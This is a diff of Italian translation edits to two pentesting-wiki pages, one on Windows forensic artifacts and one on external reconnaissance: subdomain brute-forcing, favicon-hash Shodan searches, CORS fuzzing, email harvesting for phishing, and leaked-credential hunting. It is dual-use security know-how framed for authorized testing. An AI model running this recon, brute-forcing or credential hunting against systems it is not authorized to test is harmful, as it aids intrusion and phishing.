@ -25,7 +25,7 @@ I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come**
|
||||
### Recycle Bin
|
||||
|
||||
In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\
|
||||
Quando un file viene eliminato in questa cartella vengono creati 2 file specifici:
|
||||
Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici:
|
||||
|
||||
- `$I{id}`: Informazioni sul file (data di quando è stato eliminato)
|
||||
- `$R{id}`: Contenuto del file
|
||||
@ -38,44 +38,44 @@ Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Copie Shadow del Volume
|
||||
### Volume Shadow Copies
|
||||
|
||||
La Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
|
||||
Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
|
||||
|
||||
Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente:
|
||||
|
||||
.png>)
|
||||
|
||||
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una copia shadow e persino **estrarre i file** dai backup delle copie shadow.
|
||||
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy.
|
||||
|
||||
.png>)
|
||||
|
||||
L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non eseguire il backup**:
|
||||
L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non fare il backup**:
|
||||
|
||||
.png>)
|
||||
|
||||
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione riguardo le `Volume Shadow Copies`.
|
||||
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`.
|
||||
|
||||
### File AutoSalvati di Office
|
||||
### Office AutoSaved Files
|
||||
|
||||
Puoi trovare i file auto salvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Elementi Shell
|
||||
## Shell Items
|
||||
|
||||
Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file.
|
||||
|
||||
### Documenti Recenti (LNK)
|
||||
### Recent Documents (LNK)
|
||||
|
||||
Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in:
|
||||
|
||||
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Quando viene creata una cartella, viene anche creato un collegamento alla cartella, alla cartella padre e alla cartella nonna.
|
||||
Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna.
|
||||
|
||||
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se è un **file** **o** una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
|
||||
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
|
||||
|
||||
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
|
||||
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato per la prima volta** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
|
||||
|
||||
Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
@ -130,7 +130,7 @@ Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla c
|
||||
|
||||
.png>)
|
||||
|
||||
I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag.
|
||||
I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag.
|
||||
|
||||
### Informazioni sul Registro
|
||||
|
||||
@ -140,7 +140,7 @@ I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopr
|
||||
|
||||
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
@ -162,7 +162,7 @@ Uno screenshot che mostra il contenuto del compito è fornito: **: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare.
|
||||
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, a eseguire il compito durante la manutenzione automatica di emergenza.
|
||||
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza.
|
||||
|
||||
Questa configurazione garantisce una manutenzione e pulizia regolari dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi.
|
||||
|
||||
@ -181,7 +181,7 @@ Inoltre, all'interno delle intestazioni `References` e `In-Reply-To` puoi trovar
|
||||
|
||||
### App di posta di Windows
|
||||
|
||||
Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno delle sottocartelle in `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`.
|
||||
Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno di sottocartelle in `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`.
|
||||
|
||||
I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
@ -225,7 +225,7 @@ Allegati persi potrebbero essere recuperabili da:
|
||||
### Miniature delle Immagini
|
||||
|
||||
- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione.
|
||||
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC.
|
||||
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite rete tramite percorso UNC.
|
||||
- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file.
|
||||
|
||||
### Informazioni sul Registro di Windows
|
||||
@ -235,11 +235,11 @@ Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di
|
||||
- `%windir%\System32\Config` per varie sottochiavi `HKEY_LOCAL_MACHINE`.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`.
|
||||
- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
|
||||
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server.
|
||||
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` da Windows Vista e Windows 2008 Server in poi.
|
||||
|
||||
### Strumenti
|
||||
|
||||
Alcuni strumenti sono utili per analizzare i file di registro:
|
||||
Al alcuni strumenti sono utili per analizzare i file di registro:
|
||||
|
||||
- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti.
|
||||
@ -269,9 +269,9 @@ interesting-windows-registry-keys.md
|
||||
|
||||
## Programmi Eseguiti
|
||||
|
||||
### Processi Windows di Base
|
||||
### Processi di Windows di Base
|
||||
|
||||
In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi Windows comuni per rilevare comportamenti sospetti.
|
||||
In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi comuni di Windows per rilevare comportamenti sospetti.
|
||||
|
||||
### APP Recenti di Windows
|
||||
|
||||
@ -333,7 +333,7 @@ Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di
|
||||
- Percorso completo del file
|
||||
- Dimensione del file
|
||||
- Ultima data di modifica sotto **$Standard_Information** (SI)
|
||||
- Ultima data di aggiornamento del ShimCache
|
||||
- Ultima data di aggiornamento dello ShimCache
|
||||
- Flag di esecuzione del processo
|
||||
|
||||
Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo:
|
||||
@ -435,8 +435,8 @@ Gli eventi di accesso sono registrati nel file di configurazione della sicurezza
|
||||
- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
|
||||
- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti.
|
||||
- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete.
|
||||
- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
|
||||
- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
|
||||
- **0xC0000133**: Problemi di sincronizzazione dell'ora - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
|
||||
- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambi frequenti obbligatori potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
|
||||
- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza.
|
||||
- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio.
|
||||
|
||||
|
||||
@ -2,16 +2,16 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scoperta delle Risorse
|
||||
## Scoperta degli Asset
|
||||
|
||||
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi scoprire cosa possiede effettivamente questa azienda.
|
||||
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti i **beni** di queste aziende. Per farlo, procederemo a:
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a:
|
||||
|
||||
1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
|
||||
2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri beni (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||
|
||||
### **Acquisizioni**
|
||||
|
||||
@ -19,7 +19,7 @@ Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla socie
|
||||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**.
|
||||
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro beni.
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset.
|
||||
|
||||
### **ASN**
|
||||
|
||||
@ -54,10 +54,10 @@ bbot -t tesla.com -f subdomain-enum
|
||||
Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\
|
||||
Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Cercare vulnerabilità**
|
||||
### **Ricerca di vulnerabilità**
|
||||
|
||||
A questo punto conosciamo **tutti gli asset all'interno dell'ambito**, quindi se sei autorizzato potresti lanciare alcuni **scanner di vulnerabilità** (Nessus, OpenVAS) su tutti gli host.\
|
||||
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come fare pentesting a diversi servizi possibili in esecuzione.\
|
||||
Inoltre, potresti lanciare alcune [**scansioni delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o utilizzare servizi come** shodan **per trovare** porte aperte **e a seconda di ciò che trovi dovresti** dare un'occhiata a questo libro su come effettuare pentesting su diversi servizi possibili in esecuzione.\
|
||||
**Inoltre, potrebbe valere la pena menzionare che puoi anche preparare alcune** liste di nomi utente **e** password **predefiniti e provare a** forzare i servizi con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Domini
|
||||
@ -82,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **altri asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
|
||||
All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois su uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
|
||||
Puoi utilizzare strumenti online come:
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
|
||||
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
|
||||
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
@ -151,7 +151,7 @@ Cerca all'interno delle pagine web **stringhe che potrebbero essere condivise tr
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
per rinnovare tutti i certificati di dominio sul server. Questo significa che anche se la CA utilizzata per questo non imposta il tempo in cui è stato generato nel tempo di validità, è possibile **trovare domini appartenenti alla stessa azienda nei log di trasparenza dei certificati**.\
|
||||
Controlla questo [**writeup per maggiori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
Controlla questo [**writeup per ulteriori informazioni**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Informazioni DMARC Mail
|
||||
|
||||
@ -169,7 +169,7 @@ Apparentemente è comune per le persone assegnare sottodomini a IP che apparteng
|
||||
|
||||
**Shodan**
|
||||
|
||||
Come già sai il nome dell'organizzazione proprietaria dello spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS.
|
||||
|
||||
Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
@ -353,11 +353,11 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio.
|
||||
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare i nomi di dominio in modo asincrono.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Second DNS Brute-Force Round
|
||||
### Seconda fase di brute-force DNS
|
||||
|
||||
Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi generare alterazioni dei sottodomini trovati per cercare di trovarne ancora di più. Diversi strumenti sono utili a questo scopo:
|
||||
|
||||
@ -366,7 +366,7 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini, genera permutazioni.
|
||||
- Puoi ottenere le permutazioni di goaltdns **wordlist** **qui** [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
- Puoi ottenere le permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
@ -395,13 +395,13 @@ python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato da risposte DNS estremamente semplice ma efficace. Utilizza un insieme di dati di input forniti, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Flusso di lavoro per la scoperta di sottodomini**
|
||||
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo avviare manualmente un sacco di strumenti sul mio computer:
|
||||
Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **i flussi di lavoro di Trickest** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer:
|
||||
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
@ -440,7 +440,7 @@ VHostScan -t example.com
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/subdominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **subdomini**.
|
||||
A volte troverai pagine che restituiscono solo l'intestazione _**Access-Control-Allow-Origin**_ quando un dominio/sottodominio valido è impostato nell'intestazione _**Origin**_. In questi scenari, puoi abusare di questo comportamento per **scoprire** nuovi **sottodomini**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
@ -459,14 +459,14 @@ Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdom
|
||||
Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html).
|
||||
|
||||
Se trovi un **sottodominio con un IP diverso** da quelli già trovati nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\
|
||||
_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
_Tieni presente che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._
|
||||
|
||||
## IPs
|
||||
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli IP, domini e sottodomini**.\
|
||||
Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\
|
||||
È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).**
|
||||
|
||||
Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Utilizzando i servizi delle seguenti **api gratuite** puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
@ -480,7 +480,7 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza
|
||||
|
||||
## Caccia ai server web
|
||||
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli IP, i domini e i sottodomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e sottodomini all'interno dell'ambito. È tempo di cercare server web.
|
||||
|
||||
Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito.
|
||||
|
||||
@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
```
|
||||
### **Screenshot**
|
||||
|
||||
Ora che hai scoperto **tutti i server web** presenti nel campo (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**.
|
||||
Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **propensi** a essere **vulnerabili**.
|
||||
|
||||
Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
@ -502,7 +502,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
|
||||
|
||||
## Risorse Cloud Pubbliche
|
||||
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto per un'azienda di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di una compagnia crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
|
||||
|
||||
@ -522,7 +522,7 @@ Se trovi cose come **bucket aperti o funzioni cloud esposte** dovresti **acceder
|
||||
|
||||
## Email
|
||||
|
||||
Con i **domini** e **sottodomini** all'interno del campo hai fondamentalmente tutto ciò di cui hai **bisogno per iniziare a cercare email**. Questi sono le **API** e **strumenti** che hanno funzionato meglio per me per trovare email di un'azienda:
|
||||
Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente tutto ciò di cui hai **bisogno per iniziare a cercare email**. Queste sono le **API** e **strumenti** che hanno funzionato meglio per me per trovare email di un'azienda:
|
||||
|
||||
- [**theHarvester**](https://github.com/laramies/theHarvester) - con API
|
||||
- API di [**https://hunter.io/**](https://hunter.io/) (versione gratuita)
|
||||
@ -533,7 +533,7 @@ Con i **domini** e **sottodomini** all'interno del campo hai fondamentalmente tu
|
||||
|
||||
Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, che è utile per la campagna di phishing.
|
||||
|
||||
## Fughe di Credenziali
|
||||
## Credential Leaks
|
||||
|
||||
Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenziali trapelate in passato appartenenti a quelle email:
|
||||
|
||||
@ -544,36 +544,36 @@ Con i **domini,** **sottodomini** e **email** puoi iniziare a cercare credenzial
|
||||
|
||||
Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile.
|
||||
|
||||
## Fughe di Segreti
|
||||
## Secrets Leaks
|
||||
|
||||
Le fughe di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre fughe** le cui informazioni non sono in quelle banche dati:
|
||||
Le perdite di credenziali sono correlate a hack di aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
|
||||
### Fughe di Github
|
||||
### Github Leaks
|
||||
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda su github.\
|
||||
